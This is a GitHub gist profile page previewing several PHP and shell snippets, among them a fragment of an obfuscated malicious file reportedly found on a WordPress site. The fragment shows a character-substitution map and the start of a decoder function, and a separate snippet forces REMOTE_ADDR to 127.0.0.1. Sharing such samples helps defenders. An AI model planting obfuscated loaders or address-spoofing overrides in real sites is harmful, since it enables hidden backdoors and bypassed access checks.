Skip to content

Instantly share code, notes, and snippets.

View BeingTomGreen's full-sized avatar

Tom Green BeingTomGreen

  • Webbed Feet UK
  • Salisbury, Wiltshire
View GitHub Profile
if(isset($_SERVER))
{
$_SERVER['PHP_SELF'] = "/";
$_SERVER['REMOTE_ADDR'] = "127.0.0.1";
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
}
}
@BeingTomGreen
BeingTomGreen / test.php
Created February 27, 2015 09:42
A malicious file uploaded to a Wordpress installation.
<?php
$vIN3MWM = Array('1'=>'q', '0'=>'m', '3'=>'Q', '2'=>'v', '5'=>'A', '4'=>'H', '7'=>'z', '6'=>'o', '9'=>'I', '8'=>'h', 'A'=>'k', 'C'=>'V', 'B'=>'Y', 'E'=>'j', 'D'=>'G', 'G'=>'b', 'F'=>'y', 'I'=>'2', 'H'=>'N', 'K'=>'6', 'J'=>'7', 'M'=>'E', 'L'=>'p', 'O'=>'M', 'N'=>'8', 'Q'=>'s', 'P'=>'3', 'S'=>'g', 'R'=>'1', 'U'=>'x', 'T'=>'n', 'W'=>'e', 'V'=>'C', 'Y'=>'w', 'X'=>'R', 'Z'=>'F', 'a'=>'U', 'c'=>'O', 'b'=>'K', 'e'=>'5', 'd'=>'l', 'g'=>'a', 'f'=>'0', 'i'=>'t', 'h'=>'P', 'k'=>'u', 'j'=>'Z', 'm'=>'L', 'l'=>'9', 'o'=>'r', 'n'=>'T', 'q'=>'4', 'p'=>'J', 's'=>'S', 'r'=>'c', 'u'=>'X', 't'=>'f', 'w'=>'d', 'v'=>'D', 'y'=>'W', 'x'=>'B', 'z'=>'i');
function vDRTCX9($vIIFC17, $vC91VA2){
$v59JK09 = '';
for($i=0; $i < strlen($vIIFC17); $i++) {
$v59JK09 .= isset($vC91VA2[$vIIFC17[$i]]) ? $vC91VA2[$vIIFC17[$i]] : $vIIFC17[$i];
}
#!/usr/bin/env bash
# Upgrade Base Packages
sudo apt-get update
sudo apt-get upgrade -y
# Install Web Packages
sudo apt-get install -y build-essential dkms re2c apache2 php5 php5-dev php-pear php5-xdebug php5-apcu php5-json php5-sqlite \
php5-mysql php5-pgsql php5-gd curl php5-curl memcached php5-memcached libmcrypt4 php5-mcrypt postgresql redis-server beanstalkd \
openssh-server git vim python2.7-dev
@BeingTomGreen
BeingTomGreen / Laravel 4 hostname environment detection
Created December 11, 2013 16:40
A quick way of reinstating the older Laravel 4 environment detection. As of 4.1 host name based environment detection has been removed due to security concerns, but some people may wish to add this back in. See more here: https://github.com/laravel/framework/commit/02618b4190c08e1fe6e138eadb95473c92da6718
<?php
// An array of environments, exactly as old syntax
$envs = [
'local' => ['Alex','Al', 'Tom-PC', 'Tom', 'mgc.dev'],
'local_mamp' => ['navi-mini.home', 'aaron-whiffins-mac-mini.home'],
'production' => ['mygiftclues.com'],
'staging' => ['giftclue.co.uk']
];